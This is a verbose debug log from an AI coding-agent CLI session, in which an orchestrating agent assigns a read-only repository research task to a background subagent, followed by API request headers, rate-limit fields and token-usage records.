\"usage\": {\n[2026-09-29T07:44:29.280Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:29.280Z] [INFO]       \"cache_creation_input_tokens\": 968,\n[2026-09-29T07:44:29.280Z] [INFO]       \"cache_read_input_tokens\": 32813,\n[2026-09-29T07:44:29.280Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:29.280Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:44:29.280Z] [INFO]         \"ephemeral_1h_input_tokens\": 968\n[2026-09-29T07:44:29.280Z] [INFO]       },\n[2026-09-29T07:44:29.280Z] [INFO]       \"output_tokens\": 2,\n[2026-09-29T07:44:29.280Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:29.280Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:29.280Z] [INFO]     },\n[2026-09-29T07:44:29.280Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:29.280Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:29.280Z] [INFO]     \"context_management\": null\n[2026-09-29T07:44:29.280Z] [INFO]   },\n[2026-09-29T07:44:29.280Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:29.280Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:29.280Z] [INFO]   \"uuid\": \"f3ae7d68-d70b-4f47-bcd9-0f2a5e6f0da1\",\n[2026-09-29T07:44:29.280Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:29.274Z\",\n[2026-09-29T07:44:29.280Z] [INFO]   \"request_id\": \"req_011CfXMfJrAzrbk2QzHMedkb\",\n[2026-09-29T07:44:29.280Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:44:29.280Z] [INFO]     \"toolu_01GFx7YR63TmqWwLsYXBMEow\": {\n[2026-09-29T07:44:29.280Z] [INFO]       \"description\": \"Analyze ba-requirements research\",\n[2026-09-29T07:44:29.280Z] [INFO]       \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:29.280Z] [INFO]       \"prompt\": \"Research task (read-only; do NOT modify repository files; write notes only to /tmp/research-notes/ba-requirements.md, mkdir -p first). Repo at /tmp/gh-issue-solver-1790667776920 (hybrid-Intelligence-lab). Branch `origin/issue-639-405767e7672e` has been fetched; its research/ba-requirements/ dir (122 files) may differ from main. Use `git diff --stat main origin/issue-639-405767e7672e -- research/ba-requirements` to see what's new on that branch, and `git show origin/issue-639-405767e7672e:` to read files. Also read research/ba-requirements on the current checkout (main-based).\\n\\nI'm preparing an executive presentation to the Head of AI development at Mango about a BA (business-analysis) meta-model (Product \u2192 Process \u2192 Operation \u2192 Artifact) and its runtime environments. Extract verified, presentation-worthy facts from research/ba-requirements:\\n1. Empirical snapshots of Mango runs (e.g. 2026-08-25-mango-runs-empirical-snapshot.md, rrp-full-cycle-corpus-facts, artifact-structure-variance-facts): concrete numbers (number of runs, defect classes, variance, rework etc.) with file paths.\\n2. The hypothesis that cognitive operations are poorly suited to direct AI generation, and the solution of digitizing cognitive operations into strict prompts + machine-readable contracts with fail-closed validation: find where this is argued/evidenced.\\n3. Normalization, methodology-unification, orchestration, solution-modeling, artifact-micro-structure, artifact-rendering, feedback-and-evolution subdirs: 2-3 lines each of key conclusions.\\n4. GigaCode environment facts, skill granularity/format facts, process taxonomy defects.\\n5. What's new on branch issue-639 vs main (summarize key additions).\\nCite every fact with the repo path. Do not invent numbers. Absolute URL format for main: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/; for branch-only files: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-639-405767e7672e/. Write the full report to the notes file and return a concise summary (up to ~1500 words).\"\n[2026-09-29T07:44:29.280Z] [INFO]     }\n[2026-09-29T07:44:29.280Z] [INFO]   }\n[2026-09-29T07:44:29.280Z] [INFO] }\n[2026-09-29T07:44:29.289Z] [INFO] \ud83e\udd16 Sub-agent call #2: \"Analyze ba-requirements research\" (model: default)\n[2026-09-29T07:44:29.294Z] [INFO] {\n[2026-09-29T07:44:29.294Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:29.294Z] [INFO]   \"subtype\": \"background_tasks_changed\",\n[2026-09-29T07:44:29.294Z] [INFO]   \"tasks\": [\n[2026-09-29T07:44:29.294Z] [INFO]     {\n[2026-09-29T07:44:29.294Z] [INFO]       \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:44:29.294Z] [INFO]       \"task_type\": \"local_agent\",\n[2026-09-29T07:44:29.294Z] [INFO]       \"description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:44:29.294Z] [INFO]     },\n[2026-09-29T07:44:29.294Z] [INFO]     {\n[2026-09-29T07:44:29.294Z] [INFO]       \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:44:29.294Z] [INFO]       \"task_type\": \"local_agent\",\n[2026-09-29T07:44:29.294Z] [INFO]       \"description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:44:29.294Z] [INFO]     }\n[2026-09-29T07:44:29.294Z] [INFO]   ],\n[2026-09-29T07:44:29.294Z] [INFO]   \"uuid\": \"56bf8867-69db-4c79-8af3-ff438ad73cd8\",\n[2026-09-29T07:44:29.294Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:44:29.294Z] [INFO] }\n[2026-09-29T07:44:29.299Z] [INFO] {\n[2026-09-29T07:44:29.299Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:29.299Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T07:44:29.299Z] [INFO]   \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:44:29.299Z] [INFO]   \"tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:44:29.299Z] [INFO]   \"description\": \"Analyze ba-requirements research\",\n[2026-09-29T07:44:29.299Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:29.299Z] [INFO]   \"is_backgrounded\": true,\n[2026-09-29T07:44:29.299Z] [INFO]   \"spawn_depth\": 1,\n[2026-09-29T07:44:29.299Z] [INFO]   \"task_type\": \"local_agent\",\n[2026-09-29T07:44:29.299Z] [INFO]   \"prompt\": \"Research task (read-only; do NOT modify repository files; write notes only to /tmp/research-notes/ba-requirements.md, mkdir -p first). Repo at /tmp/gh-issue-solver-1790667776920 (hybrid-Intelligence-lab). Branch `origin/issue-639-405767e7672e` has been fetched; its research/ba-requirements/ dir (122 files) may differ from main. Use `git diff --stat main origin/issue-639-405767e7672e -- research/ba-requirements` to see what's new on that branch, and `git show origin/issue-639-405767e7672e:` to read files. Also read research/ba-requirements on the current checkout (main-based).\\n\\nI'm preparing an executive presentation to the Head of AI development at Mango about a BA (business-analysis) meta-model (Product \u2192 Process \u2192 Operation \u2192 Artifact) and its runtime environments. Extract verified, presentation-worthy facts from research/ba-requirements:\\n1. Empirical snapshots of Mango runs (e.g. 2026-08-25-mango-runs-empirical-snapshot.md, rrp-full-cycle-corpus-facts, artifact-structure-variance-facts): concrete numbers (number of runs, defect classes, variance, rework etc.) with file paths.\\n2. The hypothesis that cognitive operations are poorly suited to direct AI generation, and the solution of digitizing cognitive operations into strict prompts + machine-readable contracts with fail-closed validation: find where this is argued/evidenced.\\n3. Normalization, methodology-unification, orchestration, solution-modeling, artifact-micro-structure, artifact-rendering, feedback-and-evolution subdirs: 2-3 lines each of key conclusions.\\n4. GigaCode environment facts, skill granularity/format facts, process taxonomy defects.\\n5. What's new on branch issue-639 vs main (summarize key additions).\\nCite every fact with the repo path. Do not invent numbers. Absolute URL format for main: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/; for branch-only files: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-639-405767e7672e/. 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(This tool result is internal metadata \u2014 never quote or paste any part of it, including the agentId below, into a user-facing reply.)\\nagentId: a8223c4e8f50f54ab (internal ID - do not mention to user. Use SendMessage with to: 'a8223c4e8f50f54ab', summary: '<5-10 word recap>' to continue this agent.)\\nThe agent is working in the background. You will be notified automatically when it completes. You know nothing about its results until that notification arrives \u2014 do not report, assume, or predict them; continue other work or respond to the user in the meantime.\\nDo not duplicate this agent's work \u2014 avoid working with the same files or topics it is using.\\noutput_file: /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/a8223c4e8f50f54ab.output\\nDo NOT Read or tail this file via the shell tool \u2014 it is the full subagent JSONL transcript and reading it will overflow your context. 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Repo at /tmp/gh-issue-solver-1790667776920 (hybrid-Intelligence-lab). Branch `origin/issue-639-405767e7672e` has been fetched; its research/ba-requirements/ dir (122 files) may differ from main. Use `git diff --stat main origin/issue-639-405767e7672e -- research/ba-requirements` to see what's new on that branch, and `git show origin/issue-639-405767e7672e:` to read files. Also read research/ba-requirements on the current checkout (main-based).\\n\\nI'm preparing an executive presentation to the Head of AI development at Mango about a BA (business-analysis) meta-model (Product \u2192 Process \u2192 Operation \u2192 Artifact) and its runtime environments. Extract verified, presentation-worthy facts from research/ba-requirements:\\n1. Empirical snapshots of Mango runs (e.g. 2026-08-25-mango-runs-empirical-snapshot.md, rrp-full-cycle-corpus-facts, artifact-structure-variance-facts): concrete numbers (number of runs, defect classes, variance, rework etc.) with file paths.\\n2. The hypothesis that cognitive operations are poorly suited to direct AI generation, and the solution of digitizing cognitive operations into strict prompts + machine-readable contracts with fail-closed validation: find where this is argued/evidenced.\\n3. Normalization, methodology-unification, orchestration, solution-modeling, artifact-micro-structure, artifact-rendering, feedback-and-evolution subdirs: 2-3 lines each of key conclusions.\\n4. GigaCode environment facts, skill granularity/format facts, process taxonomy defects.\\n5. What's new on branch issue-639 vs main (summarize key additions).\\nCite every fact with the repo path. Do not invent numbers. Absolute URL format for main: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/; for branch-only files: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-639-405767e7672e/. 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\"stop_reason\": null,\n[2026-09-29T07:44:30.750Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:30.750Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:30.750Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:30.750Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:30.750Z] [INFO]       \"cache_creation_input_tokens\": 4215,\n[2026-09-29T07:44:30.750Z] [INFO]       \"cache_read_input_tokens\": 5547,\n[2026-09-29T07:44:30.750Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:30.750Z] [INFO]         \"ephemeral_5m_input_tokens\": 4215,\n[2026-09-29T07:44:30.750Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:44:30.750Z] [INFO]       },\n[2026-09-29T07:44:30.750Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:44:30.750Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:30.750Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:30.750Z] [INFO]     },\n[2026-09-29T07:44:30.750Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:30.750Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:30.750Z] [INFO]     \"context_management\": null\n[2026-09-29T07:44:30.750Z] [INFO]   },\n[2026-09-29T07:44:30.750Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:44:30.750Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:30.750Z] [INFO]   \"uuid\": \"2b7c605d-6fc1-4dc5-8bdb-b6b23316f680\",\n[2026-09-29T07:44:30.750Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:30.746Z\",\n[2026-09-29T07:44:30.750Z] [INFO]   \"request_id\": \"req_011CfXMggA7CSpM6Yy1g1hDw\",\n[2026-09-29T07:44:30.750Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:30.750Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:44:30.750Z] [INFO] }\n[2026-09-29T07:44:30.762Z] [STDOUT] [log_9f92db] sending request {\n[2026-09-29T07:44:30.768Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:30.772Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:30.775Z] [STDOUT]   options: {\n[2026-09-29T07:44:30.778Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:30.782Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:30.784Z] [STDOUT]     body: {\n[2026-09-29T07:44:30.788Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:30.791Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:30.794Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:30.796Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:30.798Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:30.801Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:30.804Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:30.807Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:30.811Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:30.814Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:30.818Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:30.821Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:30.824Z] [STDOUT]     },\n[2026-09-29T07:44:30.828Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:30.832Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:30.838Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:44:30.842Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:44:30.844Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:30.848Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:30.851Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:30.854Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:30.857Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:30.860Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:30.864Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:30.868Z] [STDOUT]     },\n[2026-09-29T07:44:30.872Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:30.877Z] [STDOUT]   },\n[2026-09-29T07:44:30.880Z] [STDOUT]   headers: {\n[2026-09-29T07:44:30.883Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:30.885Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:44:30.889Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:30.891Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:44:30.894Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:30.897Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:44:30.899Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:30.902Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:30.904Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:30.907Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:44:30.910Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:44:30.912Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1364\",\n[2026-09-29T07:44:30.917Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:30.920Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:44:30.924Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:30.927Z] [STDOUT]     \"x-client-request-id\": \"9a4a1b01-34dd-4db1-b789-5c86874146b3\",\n[2026-09-29T07:44:30.933Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:30.941Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:30.946Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:44:30.951Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:44:30.955Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:44:30.957Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:44:30.960Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:44:30.964Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:44:30.970Z] [STDOUT]   },\n[2026-09-29T07:44:30.972Z] [STDOUT] }\n[2026-09-29T07:44:30.975Z] [STDOUT] [log_c66a26, request-id: \"req_011CfXMggQEzjM83EFcXJNmz\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1322ms\n[2026-09-29T07:44:30.978Z] [STDOUT] [log_c66a26] response start {\n[2026-09-29T07:44:30.983Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:30.986Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:30.990Z] [STDOUT]   headers: {\n[2026-09-29T07:44:30.993Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:30.995Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:30.997Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:31.001Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:31.004Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:31.009Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:31.015Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:31.023Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:31.030Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:31.037Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:31.043Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:31.046Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:31.049Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:31.052Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:31.060Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:31.064Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:31.067Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:31.073Z] [STDOUT]     \"cf-ray\": \"a4295ce81d5f29ad-FRA\",\n[2026-09-29T07:44:31.076Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:31.080Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:31.086Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:31.092Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:31.097Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:30 GMT\",\n[2026-09-29T07:44:31.102Z] [STDOUT]     \"request-id\": \"req_011CfXMggQEzjM83EFcXJNmz\",\n[2026-09-29T07:44:31.104Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:31.107Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:31.112Z] [STDOUT]     traceresponse: \"00-c6887b4c64059f0412790217b021d070-392d63b648edc88c-01\",\n[2026-09-29T07:44:31.119Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:31.121Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:31.123Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:31.126Z] [STDOUT]   },\n[2026-09-29T07:44:31.128Z] [STDOUT]   durationMs: 1322,\n[2026-09-29T07:44:31.132Z] [STDOUT] }\n[2026-09-29T07:44:31.137Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:31.142Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:30 GMT\",\n[2026-09-29T07:44:31.148Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:31.157Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:31.161Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:31.166Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:31.170Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:31.176Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:31.179Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:31.184Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:31.188Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:31.191Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:31.194Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:31.200Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:31.203Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:31.205Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:31.212Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:31.217Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:31.221Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:31.229Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:31.233Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:31.239Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:31.244Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:31.251Z] [STDOUT]   \"request-id\": \"req_011CfXMggQEzjM83EFcXJNmz\",\n[2026-09-29T07:44:31.255Z] [STDOUT]   \"traceresponse\": \"00-c6887b4c64059f0412790217b021d070-392d63b648edc88c-01\",\n[2026-09-29T07:44:31.259Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:31.262Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:31.264Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:31.266Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:31.269Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:31.272Z] [STDOUT]   \"cf-ray\": \"a4295ce81d5f29ad-FRA\",\n[2026-09-29T07:44:31.275Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:31.278Z] [STDOUT] [log_c66a26] response parsed {\n[2026-09-29T07:44:31.280Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:31.289Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:31.293Z] [STDOUT]   body: X {\n[2026-09-29T07:44:31.296Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:31.300Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:31.303Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:31.305Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:31.308Z] [STDOUT]     },\n[2026-09-29T07:44:31.312Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:31.318Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:31.323Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:31.327Z] [STDOUT]   },\n[2026-09-29T07:44:31.330Z] [STDOUT]   durationMs: 1322,\n[2026-09-29T07:44:31.335Z] [STDOUT] }\n[2026-09-29T07:44:31.341Z] [INFO] {\n[2026-09-29T07:44:31.341Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:31.341Z] [INFO]   \"message\": {\n[2026-09-29T07:44:31.341Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:31.341Z] [INFO]     \"id\": \"msg_011CfXMggsmJCTfTYYvYSx25\",\n[2026-09-29T07:44:31.341Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:31.341Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:31.341Z] [INFO]     \"content\": [\n[2026-09-29T07:44:31.341Z] [INFO]       {\n[2026-09-29T07:44:31.341Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:44:31.341Z] [INFO]         \"text\": \"Meanwhile I'll read the ba-ai-process project myself.\"\n[2026-09-29T07:44:31.341Z] [INFO]       }\n[2026-09-29T07:44:31.341Z] [INFO]     ],\n[2026-09-29T07:44:31.341Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:31.341Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:31.341Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:31.341Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:31.341Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:31.341Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:31.341Z] [INFO]       \"cache_creation_input_tokens\": 2811,\n[2026-09-29T07:44:31.341Z] [INFO]       \"cache_read_input_tokens\": 33781,\n[2026-09-29T07:44:31.341Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:31.341Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:44:31.341Z] [INFO]         \"ephemeral_1h_input_tokens\": 2811\n[2026-09-29T07:44:31.341Z] [INFO]      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[log_9f92db, request-id: \"req_011CfXMgmxMVMudpqofD34HK\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 791ms\n[2026-09-29T07:44:31.555Z] [STDOUT] [log_9f92db] response start {\n[2026-09-29T07:44:31.560Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:31.562Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:31.565Z] [STDOUT]   headers: {\n[2026-09-29T07:44:31.569Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:31.574Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:31.576Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:31.580Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:31.584Z] [STDOUT]     